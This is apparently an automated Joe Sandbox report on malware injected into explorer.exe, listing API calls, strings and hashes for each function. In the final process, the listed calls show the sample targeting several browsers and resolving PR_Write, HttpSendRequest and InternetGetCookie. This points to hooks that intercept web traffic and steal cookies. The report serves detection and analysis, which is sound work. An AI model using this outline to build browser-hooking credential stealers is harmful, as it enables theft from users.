lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 5dcba390e3e41512d09cd0a1d53112c87b8569db19386811aa7dbf6c49b79cfb
Instruction ID: 0f79f317ee26a3c6628b1d09615c6225fbc18978e5c2116552b205bb5f7f6e40
Opcode Fuzzy Hash: 5dcba390e3e41512d09cd0a1d53112c87b8569db19386811aa7dbf6c49b79cfb
Instruction Fuzzy Hash: 5AE0EDA230025C2B472473AF9CA4D7B7BDCDAC96A43090039FA08E3302F96AAC0446B0

Function 0080F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 007E6A81: memset.NTDLL ref: 007E6A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0080F2A1

Strings

%llu, xrefs: 0080F25E
%llu, xrefs: 0080F2A8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: 03da3c45d8375d689fb54d6ecb9105dbcab2aaa0cdb8c365f7b3f48856d8b400
Instruction ID: b686df8e92a0172bef15b512b74b4bbf13b2f96c2625998c27f771776944c719
Opcode Fuzzy Hash: 03da3c45d8375d689fb54d6ecb9105dbcab2aaa0cdb8c365f7b3f48856d8b400
Instruction Fuzzy Hash: 6B21F6B2A44655ABC710AA24CC46F6B7758FF85730F048238FA25D76C2DB65EC11C7E2

Function 007F203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 007F2174
_allmul.NTDLL(?,?,?,00000000), ref: 007F220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 007F2241
_allmul.NTDLL(007E2E26,00000000,?,?), ref: 007F2295

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: 3f894bd3070a0df5f00747a300336962f112815f00cb455841fcdaadf71f4d80
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: B8A17AB07087099BC714EE69C881A3EB7E6BFD8704F40482CF65587352EB78EC468B42

Function 007F78B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 007F7979
memset.NTDLL ref: 007F798A
memcpy.NTDLL(?,?,?), ref: 007F7A00
memset.NTDLL ref: 007F7A14

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 9e564ccca55cadbcdacd0cb8da6833c3161f8b69d56422100ac22a4c48d1573d
Instruction ID: 4f153643aacd9a1135710fad3892c4a400ad626963b6eca281d6ded76bc11160
Opcode Fuzzy Hash: 9e564ccca55cadbcdacd0cb8da6833c3161f8b69d56422100ac22a4c48d1573d
Instruction Fuzzy Hash: 9A818FB160C3589FC354DF29C884A2BBBE5FF88704F14496DF98587352D678E904CB92

Function 007E190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,007E2783), ref: 007E192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,007E2783), ref: 007E1930
lstrcat.KERNEL32(00000000,?), ref: 007E1946
lstrcat.KERNEL32(00000000,00000000), ref: 007E194A

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: d4484e5a8eeb592be4722d14b9a021fcf58c1c7c817322a9b768ab42c0bbeeb8
Instruction ID: ea501f0c1c4889e75573466b7d39d11582aea53d749e5fdd467f846fcfdd7028
Opcode Fuzzy Hash: d4484e5a8eeb592be4722d14b9a021fcf58c1c7c817322a9b768ab42c0bbeeb8
Instruction Fuzzy Hash: 80E022A230029C2B072073BF6C94D3B77DCDAC92A530A0035FA04C3302FEAAAC0186F0

Analysis Process: explorer.exePID: 2500, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	86.8%
Signature Coverage:	0%
Total number of Nodes:	182
Total number of Limit Nodes:	17

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00A330A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00A33104
FindNextFileW.KERNELBASE ref: 00A33218
FindClose.KERNELBASE ref: 00A33229

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: b637c322c0f29dcf1c66838bd3bf8c3c583857a13df2699fca97f2409c636856
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: 76417C31718B4C4FDF94EB3899997AA73E2FBD8341F444A29B44AC3291EF78D9048781

Function 00A338B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00A338F2

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: dee7b2687b6a88867a3a2ebb8588bb82c1bb39259e395311f38142e973467164
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: E9F0E520F19A080BEF6C77BD695D33822C0EB58311F500929B515C72D2DC3D8E458301

Function 00A32774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 00A327C7
RegQueryValueExW.KERNELBASE ref: 00A327F4
RegQueryValueExW.KERNELBASE ref: 00A3283A
RegCloseKey.KERNELBASE ref: 00A32860

Part of subcall function 00A31860: RtlFreeHeap.NTDLL ref: 00A31880

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: QueryValue$CloseFreeHeapOpen
String ID:
API String ID: 1641618270-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: bd8affd4b7c7af9d1921d9c653868cca57a3d63f55d18cc3b7e60bfe4323775e
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: 1631853060CB488FE769DF28D45877A7BE0FBA8355F54062EF49AC2265DF34C9468742

Function 00A3372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 00A337B2
RegCloseKey.KERNELBASE ref: 00A337C1

Strings

?, xrefs: 00A337A2

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: f67c5445fcc41d395a2a20e81ea845615941d7c52ca5c8851538c3687672b133
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: D7116370618B488FD751DF69D48866AB7E1FB98345F50062EF48AC3260DF389985CB82

Function 00A3A298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00A3A397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00A3A441
VirtualProtect.KERNELBASE ref: 00A3A45F

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A39000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A39000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a39000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 240d75ebfc128fdb1176a8cbfbf0802f095b1ab4bfa02c19079121eb298e7540
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 97514732758D2D4BCB24ABB898C42E5B3D1F779321F18062AE4DAC7294D969D8468383

Function 00A33254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A3298C: GetFileAttributesW.KERNELBASE ref: 00A3299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 00A3330F
GetPrivateProfileStringW.KERNEL32 ref: 00A3336F
GetPrivateProfileIntW.KERNEL32 ref: 00A3338C

Part of subcall function 00A330A8: FindFirstFileW.KERNELBASE ref: 00A33104

Part of subcall function 00A31860: RtlFreeHeap.NTDLL ref: 00A31880

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: PrivateProfile$File$AttributesFindFirstFreeHeapNamesSectionString
String ID:
API String ID: 970345848-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: 7c36409d49f170a1272aa11c73ef9568dfdf0ff21ad2e262286cc48c8fdfe46f
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: 8E51A53171CF094FEF59BB2CA85667972D2EB98300F44456EF40AC7296EE64DD418386

Function 00A33458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 00A3347E
RegOpenKeyExW.KERNELBASE ref: 00A3353F
RegEnumKeyExW.KERNELBASE ref: 00A335D6

Part of subcall function 00A32774: RegOpenKeyExW.KERNELBASE ref: 00A327C7
Part of subcall function 00A32774: RegQueryValueExW.KERNELBASE ref: 00A327F4
Part of subcall function 00A32774: RegQueryValueExW.KERNELBASE ref: 00A3283A
Part of subcall function 00A32774: RegCloseKey.KERNELBASE ref: 00A32860

Part of subcall function 00A33254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 00A3330F

Part of subcall function 00A31860: RtlFreeHeap.NTDLL ref: 00A31880

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumFreeHeapNamesPrivateProfileSection
String ID:
API String ID: 1841478724-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: b18cbd0a43164da40635547118c50aec95e82a36f34817421e85fa1c77c064d9
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: 96415930718B0C4FDB98EF6D949972AB6E2FB98341F40456EB14EC3261DF34D9448B42

Function 00A32938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00A32966
CloseHandle.KERNELBASE ref: 00A3297A

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: 4353f6915e4d835bc35a30c66ebf2fd86edecaf65cf8100883c4b31db03b457a
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: 3DF09B7021570A4FE7546FB94498336B5E0FB48355F18473DF45AC22D0D73589468742

Function 00A322B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00A322D0

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 983a92297e708e1d22703afbe5c034ebe6615020b2c8f78591cf9577568ad971
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 55E08C30108B0A8FD758AFBCE4CA17A33A1EB9C252B05053EE005CB114D27988C18741

Function 00A3298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00A3299E

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: 54e4abde0976d08ac5ad411894da3261982b70f5844a3656cab5c5b2d0b74eab
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: 04D0A732712905077B6427F90CDD37130A0D71932AF140B3AFA36C12E0E295CCD5A301

Function 00A31860 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 00A31880

Memory Dump Source

Source File: 00000008.00000002.2346984734.0000000000A31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00A31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a31000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction ID: 12abc9424407d3b1a49ce848cd2c036b313bd497d4ee040f73c97753a60afa71
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: CBD01224B16A080BEF2CBBFA1D8D174BAD2E758212F188465B819C3251DD39C895C345

Analysis Process: explorer.exePID: 3424, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	223
Total number of Limit Nodes:	16

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03223862 Relevance: 142.1, APIs: 54, Strings: 27, Instructions: 334
libraryloaderstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 03223886
GetCurrentProcessId.KERNEL32(00000001), ref: 0322389B
wsprintfA.USER32 ref: 032238B6

Part of subcall function 0322118D: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 032211A9
Part of subcall function 0322118D: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 032211C1
Part of subcall function 0322118D: lstrlen.KERNEL32(?,00000000), ref: 032211C9
Part of subcall function 0322118D: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 032211D4
Part of subcall function 0322118D: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 032211EE
Part of subcall function 0322118D: wsprintfA.USER32 ref: 03221205
Part of subcall function 0322118D: CryptDestroyHash.ADVAPI32(?), ref: 0322121E
Part of subcall function 0322118D: CryptReleaseContext.ADVAPI32(?,00000000), ref: 03221228

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 032238CD
GetLastError.KERNEL32 ref: 032238D3
RtlInitializeCriticalSection.NTDLL(03226038), ref: 032238F3
PathFindFileNameA.SHLWAPI(?), ref: 032238FA
lstrcat.KERNEL32(03225CDE,00000000), ref: 03223910
Sleep.KERNEL32(000001F4), ref: 0322392A
lstrcmpiA.KERNEL32(00000000,firefox.exe), ref: 0322393C
GetCommandLineW.KERNEL32(?), ref: 0322394F
GetModuleHandleA.KERNEL32(kernel32.dll,VirtualQuery), ref: 0322397E
GetProcAddress.KERNEL32(00000000), ref: 03223987
GetModuleHandleA.KERNEL32(nspr4.dll,PR_GetDescType), ref: 032239AF
GetProcAddress.KERNEL32(00000000), ref: 032239B2
GetModuleHandleA.KERNEL32(nss3.dll,PR_GetDescType), ref: 032239C4
GetProcAddress.KERNEL32(00000000), ref: 032239C7
GetModuleHandleA.KERNEL32(nspr4.dll,PR_Write), ref: 032239E1
GetProcAddress.KERNEL32(00000000), ref: 032239E4
GetModuleHandleA.KERNEL32(nss3.dll,PR_Write), ref: 032239EC
GetProcAddress.KERNEL32(00000000), ref: 032239EF
lstrcmpiA.KERNEL32(00000000,chrome.exe), ref: 03223A6D
GetCommandLineA.KERNEL32(NetworkService), ref: 03223A78
StrStrIA.SHLWAPI(00000000), ref: 03223A7B
lstrcmpiA.KERNEL32(00000000,opera.exe), ref: 03223A8E
GetCommandLineA.KERNEL32(NetworkService), ref: 03223A9D
StrStrIA.SHLWAPI(00000000), ref: 03223AA0
GetModuleHandleA.KERNEL32(opera.dll), ref: 03223ABF
GetModuleHandleA.KERNEL32(opera_browser.dll), ref: 03223ACC
CommandLineToArgvW.SHELL32(00000000), ref: 03223956

Part of subcall function 032216C7: GetCurrentProcessId.KERNEL32 ref: 032216D9
Part of subcall function 032216C7: GetCurrentThreadId.KERNEL32 ref: 032216E1
Part of subcall function 032216C7: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 032216F1
Part of subcall function 032216C7: Thread32First.KERNEL32(00000000,0000001C), ref: 032216FF
Part of subcall function 032216C7: CloseHandle.KERNEL32(00000000), ref: 03221758

lstrcmpiA.KERNEL32(00000000,iexplore.exe), ref: 03223A10
lstrcmpiA.KERNEL32(00000000,microsoftedgecp.exe), ref: 03223A20
lstrcmpiA.KERNEL32(00000000,msedge.exe), ref: 03223A30
GetCommandLineA.KERNEL32(NetworkService), ref: 03223A47
StrStrIA.SHLWAPI(00000000), ref: 03223A4A
GetModuleHandleA.KERNEL32(chrome.dll), ref: 03223A5F
GetModuleHandleA.KERNEL32(wininet.dll,HttpSendRequestA), ref: 03223B2C
GetProcAddress.KERNEL32(00000000), ref: 03223B35
GetModuleHandleA.KERNEL32(wininet.dll,HttpSendRequestW), ref: 03223B52
GetProcAddress.KERNEL32(00000000), ref: 03223B55
GetModuleHandleA.KERNEL32(wininet.dll,InternetWriteFile), ref: 03223B72
GetProcAddress.KERNEL32(00000000), ref: 03223B75
GetModuleHandleA.KERNEL32(wininet.dll,HttpQueryInfoA), ref: 03223B99
GetProcAddress.KERNEL32(00000000), ref: 03223B9C
GetModuleHandleA.KERNEL32(wininet.dll,InternetQueryOptionA), ref: 03223BA9
GetProcAddress.KERNEL32(00000000), ref: 03223BAC
GetModuleHandleA.KERNEL32(wininet.dll,InternetGetCookieA), ref: 03223BB9
GetProcAddress.KERNEL32(00000000), ref: 03223BBC

Part of subcall function 03221C08: RtlMoveMemory.NTDLL(00000000,?,00000000), ref: 03221C42

RtlExitUserThread.NTDLL(00000000), ref: 03223BD9
wsprintfA.USER32 ref: 03223C1F
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03223C69
Process32First.KERNEL32(00000000,?), ref: 03223C88
CloseHandle.KERNELBASE(00000000), ref: 03223D77
Sleep.KERNELBASE(000003E8), ref: 03223D82

Strings

PR_Write, xrefs: 032239D6, 032239DB, 032239EA
InternetQueryOptionA, xrefs: 03223B9E
%s%s, xrefs: 03223C19
opera_browser.dll, xrefs: 03223AC7
nspr4.dll, xrefs: 032239AA, 032239DC
iexplore.exe, xrefs: 03223A0A
InternetGetCookieA, xrefs: 03223BAE
opera.dll, xrefs: 03223AB0
HttpSendRequestA, xrefs: 03223B26
chrome.exe, xrefs: 03223A67
opera.exe, xrefs: 03223A88
fgclearcookies, xrefs: 03223C3D
microsoftedgecp.exe, xrefs: 03223A1A
msedge.exe, xrefs: 03223A2A
HttpSendRequestW, xrefs: 03223B4C
wininet.dll, xrefs: 03223B21, 03223B2B, 03223B51, 03223B71, 03223B98, 03223BA3, 03223BB3
firefox.exe, xrefs: 03223936
HttpQueryInfoA, xrefs: 03223B93
kernel32.dll, xrefs: 03223979
msedge.dll, xrefs: 03223A50
%s%d%d%d, xrefs: 032238B0
NetworkService, xrefs: 03223A42, 03223A73, 03223A98
InternetWriteFile, xrefs: 03223B6C
PR_GetDescType, xrefs: 032239A4, 032239A9, 032239C2
nss3.dll, xrefs: 032239B9, 032239C3, 032239EB
chrome.dll, xrefs: 03223A81
VirtualQuery, xrefs: 03223974

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Handle$Module$AddressProc$Cryptlstrcmpi$CommandLine$CreateHash$CurrentProcesswsprintf$CloseContextFileFirstHeapNameSleepSnapshotThreadToolhelp32$AcquireAllocateArgvCriticalDataDestroyErrorExitFindInitializeLastMemoryMoveMutexParamPathProcess32ReleaseSectionThread32Userlstrcatlstrlen
String ID: %s%d%d%d$%s%s$HttpQueryInfoA$HttpSendRequestA$HttpSendRequestW$InternetGetCookieA$InternetQueryOptionA$InternetWriteFile$NetworkService$PR_GetDescType$PR_Write$VirtualQuery$chrome.dll$chrome.exe$fgclearcookies$firefox.exe$iexplore.exe$kernel32.dll$microsoftedgecp.exe$msedge.dll$msedge.exe$nspr4.dll$nss3.dll$opera.dll$opera.exe$opera_browser.dll$wininet.dll
API String ID: 2480436012-2618538661
Opcode ID: 096efdb043fcddc2accb73bda534ddacc2da4712c7f8d231026e6c5444d6c0a8
Instruction ID: fdd413dde833440d2a516f07a10878a8e3b4e7813686fb19a07749bae345363b
Opcode Fuzzy Hash: 096efdb043fcddc2accb73bda534ddacc2da4712c7f8d231026e6c5444d6c0a8
Instruction Fuzzy Hash: E2A1E675A70335BBC620FB73BC0CE2F7E9CAF50A41B054515FA11A7145DBB8DAC18AA1

Function 03223BE1 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

wsprintfA.USER32 ref: 03223C1F

Part of subcall function 03221235: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 0322123F
Part of subcall function 03221235: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,00000000,03223C33), ref: 03221251

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03223C69
Process32First.KERNEL32(00000000,?), ref: 03223C88
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 03223CA1
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 03223CB1
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03223CC1
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03223D12
Process32Next.KERNEL32(00000000,00000128), ref: 03223D68
CloseHandle.KERNELBASE(00000000), ref: 03223D77
Sleep.KERNELBASE(000003E8), ref: 03223D82

Part of subcall function 03221141: lstrlen.KERNEL32(?,?,?,00000000,?,032229DD,00000001), ref: 03221150
Part of subcall function 03221141: lstrlen.KERNEL32(:method POST,?,00000000,?,032229DD,00000001), ref: 03221155

Strings

%s%s, xrefs: 03223C19
fgclearcookies, xrefs: 03223C3D
microsoftedgecp.exe, xrefs: 03223A1A, 03223CB7, 03223D08
iexplore.exe, xrefs: 03223A0A, 03223CA7
firefox.exe, xrefs: 03223936, 03223C9B

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: lstrcmpi$FileHeapProcess32lstrlen$AllocateCloseCreateFirstHandleMappingNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$fgclearcookies$firefox.exe$iexplore.exe$microsoftedgecp.exe
API String ID: 2509890648-2554907557
Opcode ID: a7204b18c687aad88399b698b212d41ce622c72222bccce2bfa7fc644b7daf91
Instruction ID: a0d823a881309727e7d418a86311e6904a2cd1c4d494c90ecff2e39bb318ed21
Opcode Fuzzy Hash: a7204b18c687aad88399b698b212d41ce622c72222bccce2bfa7fc644b7daf91
Instruction Fuzzy Hash: 4F412839620331BBC634FB75EC48E7E7FADAF94A00F044618B95187184DF68EA8586A1

Function 03223D8D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03221281

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 03223DAF
RtlMoveMemory.NTDLL(00000000,?,?), ref: 03223DE2
NtUnmapViewOfSection.NTDLL(000000FF), ref: 03223DEB

Strings

0-Fw, xrefs: 03223DEB

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: HeapMemoryMove$AllocateProcessQuerySectionUnmapViewVirtual
String ID: 0-Fw
API String ID: 4050682147-2310602258
Opcode ID: 39c4b660841dce020d9207b1cc714f9f6248fb3d42e9056219a9e1811dbc8204
Instruction ID: 77603e4b9091ee2328a15020a148c12c35fdd0e471573a0a565f9f380292d0b8
